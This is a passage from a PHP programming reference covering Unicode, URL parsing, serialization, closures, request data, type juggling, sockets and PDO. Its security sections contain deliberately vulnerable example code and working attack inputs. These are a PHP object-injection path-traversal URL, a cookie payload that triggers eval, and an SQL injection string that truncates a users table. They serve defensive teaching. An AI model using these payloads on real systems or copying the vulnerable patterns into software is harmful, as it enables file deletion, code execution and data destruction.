Get numeric value of character as HEX string

string(4) "c48f"

string(3) "10f"

Encode / decode to DEC based HTML entities

string(15) "tch&#252;&#223;"

string(7) "tchüß"

Encode / decode to HEX based HTML entities

string(15) "tch&#xFC;&#xDF;"

string(7) "tchüß"

Section 49.3: Intl extention for Unicode support

Native string functions are mapped to single byte functions, they do not work well with Unicode. The
extentions
iconv and mbstring offer some support for Unicode, while the Intl-extention offers full support. Intl is a
wrapper for

the facto de standard ICU library, see http://site.icu-project.org for detailed information that is not
available on

http://php.net/manual/en/book.intl.php . If you can not install the extention, have a look at an

alternative

implementation of Intl from the Symfony framework.

ICU offers full Internationalization of which Unicode is only a smaller part. You can do transcoding
easily:

\UConverter::transcode($sString, 'UTF-8', 'UTF-8'); // strip bad bytes against attacks

But, do not dismiss iconv just yet, consider:

\iconv('UTF-8', 'ASCII//TRANSLIT', "Cliënt"); // output: "Client"

GoalKicker.com – PHP Notes for Professionals 272

Chapter 50: URLs

Section 50.1: Parsing a URL

To separate a URL into its individual components, use parse_url():

$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';

$parts = parse_url($url);

After executing the above, the contents of $parts would be:

Array

[scheme] => http

[host] => www.example.com

[path] => /page

[query] => foo=1&bar=baz

[fragment] => anchor

)
You can also selectively return just one component of the url. To return just the querystring:

$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';

$queryString = parse_url($url, PHP_URL_QUERY);

Any of the following constants are accepted: PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT,

PHP_URL_USER,

PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY and PHP_URL_FRAGMENT.

To further parse a query string into key value pairs use parse_str():

$params = [];

parse_str($queryString, $params);

After execution of the above, the $params array would be populated with the following:

Array

[foo] => 1

[bar] => baz

Section 50.2: Build an URL-encoded query string from an

array

The http_build_query() will create a query string from an array or object. These strings can be
appended to a URL

to create a GET request, or used in a POST request with, for example, cURL.

$parameters = array(

'parameter1' => 'foo',

'parameter2' => 'bar',

);

$queryString = http_build_query($parameters);

$queryString will have the following value:

GoalKicker.com – PHP Notes for Professionals 273

parameter1=foo&parameter2=bar

http_build_query() will also work with multi-dimensional arrays:

$parameters = array(

"parameter3" => array(

"sub1" => "foo",

"sub2" => "bar",

),

"parameter4" => "baz",

);

$queryString = http_build_query($parameters);

$queryString will have this value:

parameter3%5Bsub1%5D=foo&parameter3%5Bsub2%5D=bar&parameter4=baz

which is the URL-encoded version of

parameter3[sub1]=foo&parameter3[sub2]=bar&parameter4=baz

Section 50.3: Redirecting to another URL

You can use the header() function to instruct the browser to redirect to a different URL:

$url = 'https://example.org/foo/bar';

if (!headers_sent()) { // check headers - you can not send headers if they already sent

header('Location: ' . $url);

exit; // protects from code being executed after redirect request

} else {

throw new Exception('Cannot redirect, headers already sent');

You can also redirect to a relative URL (this is not part of the official HTTP specification, but it does
work in all
browsers):

$url = 'foo/bar';

if (!headers_sent()) {

header('Location: ' . $url);

exit;

} else {

throw new Exception('Cannot redirect, headers already sent');

If headers have been sent, you can alternatively send a meta refresh HTML tag.

WARNING: The meta refresh tag relies on HTML being properly processed by the client, and some will
not do this.

In general, it only works in web browsers. Also, consider that if headers have been sent, you may have
a bug and

this should trigger an exception.

You may also print a link for users to click, for clients that ignore the meta refresh tag:

$url = 'https://example.org/foo/bar';

if (!headers_sent()) {

header('Location: ' . $url);

} else {

GoalKicker.com – PHP Notes for Professionals 274

$saveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML

// tells browser to redirect page to $saveUrl after 0 seconds

print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">';

// shows link for user

print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>';

}
exit;

GoalKicker.com – PHP Notes for Professionals 275

Chapter 51: How to break down an URL

As you code PHP you will most likely get your self in a position where you need to break down an URL
into several

pieces. There's obviously more than one way of doing it depending on your needs. This article will
explain those

ways for you so you can find what works best for you.

Section 51.1: Using parse_url()

parse_url(): This function parses a URL and returns an associative array containing any of the various

components of the URL that are present.

$url = parse_url('http://example.com/project/controller/action/param1/param2');

Array

[scheme] => http

[host] => example.com

[path] => /project/controller/action/param1/param2

If you need the path separated you can use explode

$url = parse_url('http://example.com/project/controller/action/param1/param2');

$url['sections'] = explode('/', $url['path']);

Array

[scheme] => http

[host] => example.com

[path] => /project/controller/action/param1/param2

[sections] => Array

[0] =>

[1] => project

[2] => controller

[3] => action

[4] => param1

[5] => param2

If you need the last part of the section you can use end() like this:

$last = end($url['sections']);

If the URL contains GET vars you can retrieve those as well

$url = parse_url('http://example.com?var1=value1&var2=value2');

Array

[scheme] => http

[host] => example.com

[query] => var1=value1&var2=value2

GoalKicker.com – PHP Notes for Professionals 276

If you wish to break down the query vars you can use parse_str() like this:

$url = parse_url('http://example.com?var1=value1&var2=value2');

parse_str($url['query'], $parts);

Array
(

[var1] => value1

[var2] => value2

Section 51.2: Using explode()

explode(): Returns an array of strings, each of which is a substring of string formed by splitting it on

boundaries formed by the string delimiter.

This function is pretty much straight forward.

$url = "http://example.com/project/controller/action/param1/param2";

$parts = explode('/', $url);

Array

[0] => http:

[1] =>

[2] => example.com

[3] => project

[4] => controller

[5] => action

[6] => param1

[7] => param2

You can retrieve the last part of the URL by doing this:

$last = end($parts);

// Output: param2

You can also navigate inside the array by using sizeof() in combination with a math operator like this:
echo $parts[sizeof($parts)-2];

// Output: param1

Section 51.3: Using basename()

basename(): Given a string containing the path to a file or directory, this function will return the
trailing

name component.

This function will return only the last part of an URL

$url = "http://example.com/project/controller/action/param1/param2";

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$parts = basename($url);

// Output: param2

If your URL has more stuff to it and what you need is the dir name containing the file you can use it
with dirname()

like this:

$url = "http://example.com/project/controller/action/param1/param2/index.php";

$parts = basename(dirname($url));

// Output: param2

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Chapter 52: Object Serialization

Section 52.1: Serialize / Unserialize

serialize() returns a string containing a byte-stream representation of any value that can be stored in
PHP.

unserialize() can use this string to recreate the original variable values.

To serialize an object

serialize($object);

To Unserialize an object

unserialize($object)
Example

$array = array();

$array["a"] = "Foo";

$array["b"] = "Bar";

$array["c"] = "Baz";

$array["d"] = "Wom";

$serializedArray = serialize($array);

echo $serializedArray; //output:

a:4:{s:1:"a";s:3:"Foo";s:1:"b";s:3:"Bar";s:1:"c";s:3:"Baz";s:1:"d";s:3:"Wom";}

Section 52.2: The Serializable interface

Introduction

Classes that implement this interface no longer support __sleep() and __wakeup(). The method
serialize

is called whenever an instance needs to be serialized. This does not invoke __destruct() or has any

other side effect unless programmed inside the method. When the data is unserialized the class is

known and the appropriate unserialize() method is called as a constructor instead of calling

__construct(). If you need to execute the standard constructor you may do so in the method.

Basic usage

class obj implements Serializable {

private $data;

public function __construct() {

$this->data = "My private data";

public function serialize() {

return serialize($this->data);

}
public function unserialize($data) {

$this->data = unserialize($data);

public function getData() {

return $this->data;

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$obj = new obj;

$ser = serialize($obj);

var_dump($ser); // Output: string(38) "C:3:"obj":23:{s:15:"My private data";}"

$newobj = unserialize($ser);

var_dump($newobj->getData()); // Output: string(15) "My private data"

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Chapter 53: Serialization

Parameter Details

value

The value to be serialized. serialize() handles all types, except the resource-type. You can even

serialize() arrays that contain references to itself. Circular references inside the array/object you are

serializing will also be stored. Any other reference will be lost. When serializing objects, PHP will

attempt to call the member function __sleep() prior to serialization. This is to allow the object to do
any

last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using

unserialize() the __wakeup() member function is called. Object's private members have the class name

prepended to the member name; protected members have a '*' prepended to the member name.

These prepended values have null bytes on either side.

Section 53.1: Serialization of dierent types

Generates a storable representation of a value.

This is useful for storing or passing PHP values around without losing their type and structure.

To make the serialized string into a PHP value again, use unserialize().

Serializing a string

$string = "Hello world";

echo serialize($string);

// Output:

// s:11:"Hello world";

Serializing a double

$double = 1.5;

echo serialize($double);

// Output:

// d:1.5;

Serializing a float

Float get serialized as doubles.

Serializing an integer

$integer = 65;

echo serialize($integer);

// Output:

// i:65;

Serializing a boolean

$boolean = true;

echo serialize($boolean);

// Output:
// b:1;

$boolean = false;

echo serialize($boolean);

// Output:

// b:0;

Serializing null

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$null = null;

echo serialize($null);

// Output:

// N;

Serializing an array

$array = array(

25,

'String',

'Array'=> ['Multi Dimension','Array'],

'boolean'=> true,

'Object'=>$obj, // $obj from above Example

null,

3.445

);

// This will throw Fatal Error

// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi

Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.44

49999999999998;}

Serializing an object

You can also serialize Objects.

When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization.
This is to

allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the
object is restored

using unserialize() the __wakeup() member function is called.

class abc {

var $i = 1;

function foo() {

return 'hello world';

$object = new abc();

echo serialize($object);

// Output:

// O:3:"abc":1:{s:1:"i";i:1;}

Note that Closures cannot be serialized:

$function = function () { echo 'Hello World!'; };

$function(); // prints "hello!"

$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with

message 'Serialization of 'Closure' is not allowed'

Section 53.2: Security Issues with unserialize

Using unserialize function to unserialize data from user input can be dangerous.

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A Warning from php.net

Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being

loaded and executed due to object instantiation and autoloading, and a malicious user may be able to

exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and

json_encode()) if you need to pass serialized data to the user.

Possible Attacks

PHP Object Injection

PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform
different kinds of

malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of
Service, depending

on the context. The vulnerability occurs when user-supplied input is not properly sanitized before
being passed to

the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc
serialized strings to

a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application
scope.

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

The application must have a class which implements a PHP magic method (such as __wakeup or
__destruct)

that can be used to carry out malicious attacks, or to start a "POP chain".

All of the classes used during the attack must be declared when the vulnerable unserialize() is being

called, otherwise object autoloading must be supported for such classes.

Example 1 - Path Traversal Attack

The example below shows a PHP class with an exploitable __destruct method:
class Example1

public $cache_file;

function __construct()

// some PHP code...

function __destruct()

$file = "/var/www/cache/tmp/{$this->cache_file}";

if (file_exists($file)) @unlink($file);

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g.
requesting

the following URL:

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http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Example 2 - Code Injection attack

The example below shows a PHP class with an exploitable __wakeup method:

class Example2

private $hook;
function __construct()

// some PHP code...

function __wakeup()

if (isset($this->hook)) eval($this->hook);

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In this example an attacker might be able to perform a Code Injection attack by sending an HTTP
request like this:

GET /vuln.php HTTP/1.0

Host: testsite.com

Cookie:

data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs
%3A10%3A%22phpinfo%28%29%

3B%22%3B%7D

Connection: close

Where the cookie parameter "data" has been generated by the following script:

class Example2

private $hook = "phpinfo();";

}
print urlencode(serialize(new Example2));

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Chapter 54: Closure

Section 54.1: Basic usage of a closure

A closure is the PHP equivalent of an anonymous function, eg. a function that does not have a name.
Even if that is

technically not correct, the behavior of a closure remains the same as a function's, with a few extra
features.

A closure is nothing but an object of the Closure class which is created by declaring a function without
a name. For

example:

<?php

$myClosure = function() {

echo 'Hello world!';

};

$myClosure(); // Shows "Hello world!"

Keep in mind that $myClosure is an instance of Closure so that you are aware of what you can truly do
with it (cf.

http://fr2.php.net/manual/en/class.closure.php )

The classic case you would need a Closure is when you have to give a callable to a function, for
instance usort.

Here is an example where an array is sorted by the number of siblings of each person:

<?php

$data = [

'name' => 'John',

'nbrOfSiblings' => 2,
],

'name' => 'Stan',

'nbrOfSiblings' => 1,

],

'name' => 'Tom',

'nbrOfSiblings' => 3,

];

usort($data, function($e1, $e2) {

if ($e1['nbrOfSiblings'] == $e2['nbrOfSiblings']) {

return 0;

return $e1['nbrOfSiblings'] < $e2['nbrOfSiblings'] ? -1 : 1;

});

var_dump($data); // Will show Stan first, then John and finally Tom

Section 54.2: Using external variables

It is possible, inside a closure, to use an external variable with the special keyword use. For instance:

<?php

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$quantity = 1;

$calculator = function($number) use($quantity) {

return $number + $quantity;

};

var_dump($calculator(2)); // Shows "3"

You can go further by creating "dynamic" closures. It is possible to create a function that returns a
specific

calculator, depending on the quantity you want to add. For example:

<?php

function createCalculator($quantity) {

return function($number) use($quantity) {

return $number + $quantity;

};

$calculator1 = createCalculator(1);

$calculator2 = createCalculator(2);

var_dump($calculator1(2)); // Shows "3"

var_dump($calculator2(2)); // Shows "4"

Section 54.3: Basic closure binding

As seen previously, a closure is nothing but an instance of the Closure class, and different methods can
be invoked

on them. One of them is bindTo, which, given a closure, will return a new one that is bound to a given
object. For

example:

<?php

$myClosure = function() {

echo $this->property;

};

class MyClass

{
public $property;

public function __construct($propertyValue)

$this->property = $propertyValue;

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance);

$myBoundClosure(); // Shows "Hello world!"

Section 54.4: Closure binding and scope

Let's consider this example:

<?php

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$myClosure = function() {

echo $this->property;

};

class MyClass

public $property;

public function __construct($propertyValue)

$this->property = $propertyValue;

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance);

$myBoundClosure(); // Shows "Hello world!"

Try to change the property visibility to either protected or private. You get a fatal error indicating that
you do not

have access to this property. Indeed, even if the closure has been bound to the object, the scope in
which the

closure is invoked is not the one needed to have that access. That is what the second argument of
bindTo is for.

The only way for a property to be accessed if it's private is that it is accessed from a scope that allows
it, ie. the

class's scope. In the just previous code example, the scope has not been specified, which means that
the closure

has been invoked in the same scope as the one used where the closure has been created. Let's change
that:

<?php

$myClosure = function() {

echo $this->property;

};

class MyClass

private $property; // $property is now private

public function __construct($propertyValue)

$this->property = $propertyValue;

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance, MyClass::class);

$myBoundClosure(); // Shows "Hello world!"

As just said, if this second parameter is not used, the closure is invoked in the same context as the one
used where

the closure has been created. For example, a closure created inside a method's class which is invoked
in an object

context will have the same scope as the method's:

<?php

class MyClass

private $property;

public function __construct($propertyValue)

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$this->property = $propertyValue;

public function getDisplayer()

return function() {

echo $this->property;

};

$myInstance = new MyClass('Hello world!');

$displayer = $myInstance->getDisplayer();

$displayer(); // Shows "Hello world!"

Section 54.5: Binding a closure for one call

Since PHP7, it is possible to bind a closure just for one call, thanks to the call method. For instance:

<?php

class MyClass

private $property;

public function __construct($propertyValue)

$this->property = $propertyValue;

$myClosure = function() {

echo $this->property;

};

$myInstance = new MyClass('Hello world!');

$myClosure->call($myInstance); // Shows "Hello world!"

As opposed to the bindTo method, there is no scope to worry about. The scope used for this call is the
same as the

one used when accessing or invoking a property of $myInstance.

Section 54.6: Use closures to implement observer pattern

In general, an observer is a class with a specific method being called when an action on the observed
object occurs.

In certain situations, closures can be enough to implement the observer design pattern.

Here is a detailed example of such an implementation. Let's first declare a class whose purpose is to
notify

observers when its property is changed.

<?php

class ObservedStuff implements SplSubject

{

protected $property;

protected $observers = [];

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public function attach(SplObserver $observer)

$this->observers[] = $observer;

return $this;

public function detach(SplObserver $observer)

if (false !== $key = array_search($observer, $this->observers, true)) {

unset($this->observers[$key]);

public function notify()

foreach ($this->observers as $observer) {

$observer->update($this);

public function getProperty()

return $this->property;

}
public function setProperty($property)

$this->property = $property;

$this->notify();

Then, let's declare the class that will represent the different observers.

<?php

class NamedObserver implements SplObserver

protected $name;

protected $closure;

public function __construct(Closure $closure, $name)

$this->closure = $closure->bindTo($this, $this);

$this->name = $name;

public function update(SplSubject $subject)

$closure = $this->closure;

$closure($subject);

Let's finally test this:

<?php
$o = new ObservedStuff;

$observer1 = function(SplSubject $subject) {

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echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n";

};

$observer2 = function(SplSubject $subject) {

echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n";

};

$o->attach(new NamedObserver($observer1, 'Observer1'))

->attach(new NamedObserver($observer2, 'Observer2'));

$o->setProperty('Hello world!');

// Shows:

// Observer1 has been notified! New property value: Hello world!

// Observer2 has been notified! New property value: Hello world!

Note that this example works because the observers share the same nature (they are both "named
observers.")

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Chapter 55: Reading Request Data

Section 55.1: Reading raw POST data

Usually data sent in a POST request is structured key/value pairs with a MIME type of application/x-
www-formurlencoded. However many applications such as web services require raw data, often in
XML or JSON format, to be

sent instead. This data can be read using one of two methods.

php://input is a stream that provides access to the raw request body.

$rawdata = file_get_contents("php://input");

// Let's say we got JSON

$decoded = json_decode($rawdata);
Version < 5.6

$HTTP_RAW_POST_DATA is a global variable that contains the raw POST data. It is only available if the

always_populate_raw_post_data directive in php.ini is enabled.

$rawdata = $HTTP_RAW_POST_DATA;

// Or maybe we get XML

$decoded = simplexml_load_string($rawdata);

This variable has been deprecated since PHP version 5.6, and was removed in PHP 7.0.

Note that neither of these methods are available when the content type is set to multipart/form-data,
which is

used for file uploads.

Section 55.2: Reading POST data

Data from a POST request is stored in the superglobal $_POST in the form of an associative array.

Note that accessing a non-existent array item generates a notice, so existence should always be
checked with the

isset() or empty() functions, or the null coalesce operator.

Example:

$from = isset($_POST["name"]) ? $_POST["name"] : "NO NAME";

$message = isset($_POST["message"]) ? $_POST["message"] : "NO MESSAGE";

echo "Message from $from: $message";

Version ≥ 7.0

$from = $_POST["name"] ?? "NO NAME";

$message = $_POST["message"] ?? "NO MESSAGE";

echo "Message from $from: $message";

Section 55.3: Reading GET data

Data from a GET request is stored in the superglobal $_GET in the form of an associative array.

Note that accessing a non-existent array item generates a notice, so existence should always be
checked with the
isset() or empty() functions, or the null coalesce operator.

Example: (for URL /topics.php?author=alice&topic=php)

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$author = isset($_GET["author"]) ? $_GET["author"] : "NO AUTHOR";

$topic = isset($_GET["topic"]) ? $_GET["topic"] : "NO TOPIC";

echo "Showing posts from $author about $topic";

Version ≥ 7.0

$author = $_GET["author"] ?? "NO AUTHOR";

$topic = $_GET["topic"] ?? "NO TOPIC";

echo "Showing posts from $author about $topic";

Section 55.4: Handling file upload errors

The $_FILES["FILE_NAME"]['error'] (where "FILE_NAME" is the value of the name attribute of the file
input,

present in your form) might contain one of the following values:

1. UPLOAD_ERR_OK - There is no error, the file uploaded with success.

2. UPLOAD_ERR_INI_SIZE - The uploaded file exceeds the upload_max_filesize directive in php.ini.

3. UPLOAD_ERR_PARTIAL - The uploaded file exceeds the MAX_FILE_SIZE directive that was specified
in the HTML

form.

4. UPLOAD_ERR_NO_FILE - No file was uploaded.

5. UPLOAD_ERR_NO_TMP_DIR - Missing a temporary folder. (From PHP 5.0.3).

6. UPLOAD_ERR_CANT_WRITE - Failed to write file to disk. (From PHP 5.1.0).

7. UPLOAD_ERR_EXTENSION - A PHP extension stopped the file upload. (From PHP 5.2.0).

An basic way to check for the errors, is as follows:

<?php

$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the file

input in your form

switch($fileError) {

case UPLOAD_ERR_INI_SIZE:

// Exceeds max size in php.ini

break;

case UPLOAD_ERR_PARTIAL:

// Exceeds max size in html form

break;

case UPLOAD_ERR_NO_FILE:

// No file was uploaded

break;

case UPLOAD_ERR_NO_TMP_DIR:

// No /tmp dir to write to

break;

case UPLOAD_ERR_CANT_WRITE:

// Error writing to disk

break;

default:

// No error was faced! Phew!

break;

Section 55.5: Passing arrays by POST

Usually, an HTML form element submitted to PHP results in a single value. For example:

<pre>

<?php print_r($_POST);?>
</pre>

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<form method="post">

<input type="hidden" name="foo" value="bar"/>

<button type="submit">Submit</button>

</form>

This results in the following output:

Array

[foo] => bar

However, there may be cases where you want to pass an array of values. This can be done by adding a
PHP-like

suffix to the name of the HTML elements:

<pre>

<?php print_r($_POST);?>

</pre>

<form method="post">

<input type="hidden" name="foo[]" value="bar"/>

<input type="hidden" name="foo[]" value="baz"/>

<button type="submit">Submit</button>

</form>

This results in the following output:

Array

[foo] => Array

(

[0] => bar

[1] => baz

You can also specify the array indices, as either numbers or strings:

<pre>

<?php print_r($_POST);?>

</pre>

<form method="post">

<input type="hidden" name="foo[42]" value="bar"/>

<input type="hidden" name="foo[foo]" value="baz"/>

<button type="submit">Submit</button>

</form>

Which returns this output:

Array

[foo] => Array

[42] => bar

[foo] => baz

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This technique can be used to avoid post-processing loops over the $_POST array, making your code
leaner and
more concise.

Section 55.6: Uploading files with HTTP PUT

PHP provides support for the HTTP PUT method used by some clients to store files on a server. PUT
requests are

much simpler than a file upload using POST requests and they look something like this:

PUT /path/filename.html HTTP/1.1

Into your PHP code you would then do something like this:

<?php

/* PUT data comes in on the stdin stream */

$putdata = fopen("php://input", "r");

/* Open a file for writing */

$fp = fopen("putfile.ext", "w");

/* Read the data 1 KB at a time

and write to the file */

while ($data = fread($putdata, 1024))

fwrite($fp, $data);

/* Close the streams */

fclose($fp);

fclose($putdata);

?>

Also here you can read interesting SO question/answers about receiving file via HTTP PUT.

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Chapter 56: Type juggling and Non-Strict

Comparison Issues

Section 56.1: What is Type Juggling?

PHP is a loosely typed language. This means that, by default, it doesn't require operands in an
expression to be of

the same (or compatible) types. For example, you can append a number to a string and expect it to
work.

var_dump ("This is example number " . 1);

The output will be:

string(24) "This is example number 1"

PHP accomplishes this by automatically casting incompatible variable types into types that allow the
requested

operation to take place. In the case above, it will cast the integer literal 1 into a string, meaning that it
can be

concatenated onto the preceding string literal. This is referred to as type juggling. This is a very
powerful feature of

PHP, but it is also a feature that can lead you to a lot of hair-pulling if you are not aware of it, and can
even lead to

security problems.

Consider the following:

if (1 == $variable) {

// do something

The intent appears to be that the programmer is checking that a variable has a value of 1. But what
happens if

$variable has a value of "1 and a half" instead? The answer might surprise you.

$variable = "1 and a half";

var_dump (1 == $variable);

The result is:

bool(true)

Why has this happened? It's because PHP realised that the string "1 and a half" isn't an integer, but it
needs to be in
order to compare it to integer 1. Instead of failing, PHP initiates type juggling and, attempts to convert
the variable

into an integer. It does this by taking all the characters at the start of the string that can be cast to
integer and

casting them. It stops as soon as it encounters a character that can't be treated as a number. Therefore
"1 and a

half" gets cast to integer 1.

Granted, this is a very contrived example, but it serves to demonstrate the issue. The next few
examples will cover

some cases where I've run into errors caused by type juggling that happened in real software.

Section 56.2: Reading from a file

When reading from a file, we want to be able to know when we've reached the end of that file.
Knowing that

fgets() returns false at the end of the file, we might use this as the condition for a loop. However, if the
data

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returned from the last read happens to be something that evaluates as boolean false, it can cause our
file read

loop to terminate prematurely.

$handle = fopen ("/path/to/my/file", "r");

if ($handle === false) {

throw new Exception ("Failed to open file for reading");

while ($data = fgets($handle)) {

echo ("Current file line is $data\n");

fclose ($handle);

If the file being read contains a blank line, the while loop will be terminated at that point, because the
empty string
evaluates as boolean false.

Instead, we can check for the boolean false value explicitly, using strict equality operators:

while (($data = fgets($handle)) !== false) {

echo ("Current file line is $data\n");

Note this is a contrived example; in real life we would use the following loop:

while (!feof($handle)) {

$data = fgets($handle);

echo ("Current file line is $data\n");

Or replace the whole thing with:

$filedata = file("/path/to/my/file");

foreach ($filedata as $data) {

echo ("Current file line is $data\n");

Section 56.3: Switch surprises

Switch statements use non-strict comparison to determine matches. This can lead to some nasty
surprises. For

example, consider the following statement:

switch ($name) {

case 'input 1':

$mode = 'output_1';

break;

case 'input 2':

$mode = 'output_2';

break;
default:

$mode = 'unknown';

break;

This is a very simple statement, and works as expected when $name is a string, but can cause
problems otherwise.

For example, if $name is integer 0, then type-juggling will happen during the comparison. However,
it's the literal

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value in the case statement that gets juggled, not the condition in the switch statement. The string
"input 1" is

converted to integer 0 which matches the input value of integer 0. The upshot of this is if you provide
a value of

integer 0, the first case always executes.

There are a few solutions to this problem:

Explicit casting

The value can be typecast to a string before comparison:

switch ((string)$name) {

...

Or a function known to return a string can also be used:

switch (strval($name)) {

...

Both of these methods ensure the value is of the same type as the value in the case statements.

Avoid switch

Using an if statement will provide us with control over how the comparison is done, allowing us to use
strict

comparison operators:

if ($name === "input 1") {

$mode = "output_1";

} elseif ($name === "input 2") {

$mode = "output_2";

} else {

$mode = "unknown";

Section 56.4: Strict typing

Since PHP 7.0, some of the harmful effects of type juggling can be mitigated with strict typing. By
including this

declare statement as the first line of the file, PHP will enforce parameter type declarations and return
type

declarations by throwing a TypeError exception.

declare(strict_types=1);

For example, this code, using parameter type definitions, will throw a catchable exception of type
TypeError when

run:

<?php

declare(strict_types=1);

function sum(int $a, int $b) {

return $a + $b;

echo sum("1", 2);

Likewise, this code uses a return type declaration; it will also throw an exception if it tries to return
anything other
GoalKicker.com – PHP Notes for Professionals 297

than an integer:

<?php

declare(strict_types=1);

function returner($a): int {

return $a;

returner("this is a string");

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Chapter 57: Sockets

Section 57.1: TCP client socket

Creating a socket that uses the TCP (Transmission Control Protocol)

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Make sure the socket is successfully created. The onSocketFailure function comes from Handling
socket errors

example in this topic.

if(!is_resource($socket)) onSocketFailure("Failed to create socket");

Connect the socket to a specified address

The second line fails gracefully if connection failed.

socket_connect($socket, "chat.stackoverflow.com", 6667)

or onSocketFailure("Failed to connect to chat.stackoverflow.com:6667", $socket);

Sending data to the server

The socket_write function sends bytes through a socket. In PHP, a byte array is represented by a string,
which is

normally encoding-insensitive.

socket_write($socket, "NICK Alice\r\nUSER alice 0 * :Alice\r\n");

Receiving data from the server

The following snippet receives some data from the server using the socket_read function.

Passing PHP_NORMAL_READ as the third parameter reads until a \r/\n byte, and this byte is included
in the return

value.

Passing PHP_BINARY_READ, on the contrary, reads the required amount of data from the stream.

If socket_set_nonblock was called in prior, and PHP_BINARY_READ is used, socket_read will return
false

immediately. Otherwise, the method blocks until enough data (to reach the length in the second
parameter, or to

reach a line ending) are received, or the socket is closed.

This example reads data from a supposedly IRC server.

while(true) {

// read a line from the socket

$line = socket_read($socket, 1024, PHP_NORMAL_READ);

if(substr($line, -1) === "\r") {

// read/skip one byte from the socket

// we assume that the next byte in the stream must be a \n.

// this is actually bad in practice; the script is vulnerable to unexpected values

socket_read($socket, 1, PHP_BINARY_READ);

$message = parseLine($line);

if($message->type === "QUIT") break;

Closing the socket

Closing the socket frees the socket and its associated resources.

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socket_close($socket);

Section 57.2: TCP server socket

Socket creation

Create a socket that uses the TCP. It is the same as creating a client socket.

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Socket binding

Bind connections from a given network (parameter 2) for a specific port (parameter 3) to the socket.

The second parameter is usually "0.0.0.0", which accepts connection from all networks. It can also

One common cause of errors from socket_bind is that the address specified is already bound to
another process.

Other processes are usually killed (usually manually to prevent accidentally killing critical processes)
so that the

sockets would be freed.

socket_bind($socket, "0.0.0.0", 6667) or onSocketFailure("Failed to bind to 0.0.0.0:6667");

Set a socket to listening

Make the socket listen to incoming connections using socket_listen. The second parameter is the
maximum

number of connections to allow queuing before they are accepted.

socket_listen($socket, 5);

Handling connection

A TCP server is actually a server that handles child connections. socket_accept creates a new child
connection.

$conn = socket_accept($socket);

Data transferring for a connection from socket_accept is the same as that for a TCP client socket.

When this connection should be closed, call socket_close($conn); directly. This will not affect the
original TCP

server socket.
Closing the server

On the other hand, socket_close($socket); should be called when the server is no longer used. This will
free the

TCP address as well, allowing other processes to bind to the address.

Section 57.3: UDP server socket

A UDP (user datagram protocol) server, unlike TCP, is not stream-based. It is packet-based, i.e. a client
sends data in

units called "packets" to the server, and the client identifies clients by their address. There is no builtin
function that

relates different packets sent from the same client (unlike TCP, where data from the same client are
handled by a

specific resource created by socket_accept). It can be thought as a new TCP connection is accepted and
closed

every time a UDP packet arrives.

Creating a UDP server socket

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

Binding a socket to an address

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The parameters are same as that for a TCP server.

socket_bind($socket, "0.0.0.0", 9000) or onSocketFailure("Failed to bind to 0.0.0.0:9000",

$socket);

Sending a packet

This line sends $data in a UDP packet to $address:$port.

socket_sendto($socket, $data, strlen($data), 0, $address, $port);

Receiving a packet

The following snippet attempts to manage UDP packets in a client-indexed manner.

$clients = [];
while (true){

socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true

or onSocketFailure("Failed to receive packet", $socket);

$address = "$ip:$port";

if (!isset($clients[$address])) $clients[$address] = new Client();

$clients[$address]->handlePacket($buffer);

Closing the server

socket_close can be used on the UDP server socket resource. This will free the UDP address, allowing
other

processes to bind to this address.

Section 57.4: Handling socket errors

socket_last_error can be used to get the error ID of the last error from the sockets extension.

socket_strerror can be used to convert the ID to human-readable strings.

function onSocketFailure(string $message, $socket = null) {

if(is_resource($socket)) {

$message .= ": " . socket_strerror(socket_last_error($socket));

die($message);

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Chapter 58: PDO

The PDO (PHP Data Objects) extension allows developers to connect to numerous different types of
databases and

execute queries against them in a uniform, object oriented manner.

Section 58.1: Preventing SQL injection with Parameterized

Queries

SQL injection is a kind of attack that allows a malicious user to modify the SQL query, adding
unwanted commands

to it. For example, the following code is vulnerable:

// Do not use this vulnerable code!

$sql = 'SELECT name, email, user_level FROM users WHERE userID = ' . $_GET['user'];

$conn->query($sql);

This allows any user of this script to modify our database basically at will. For example consider the
following query

string:

page.php?user=0;%20TRUNCATE%20TABLE%20users;

This makes our example query look like this

SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users;

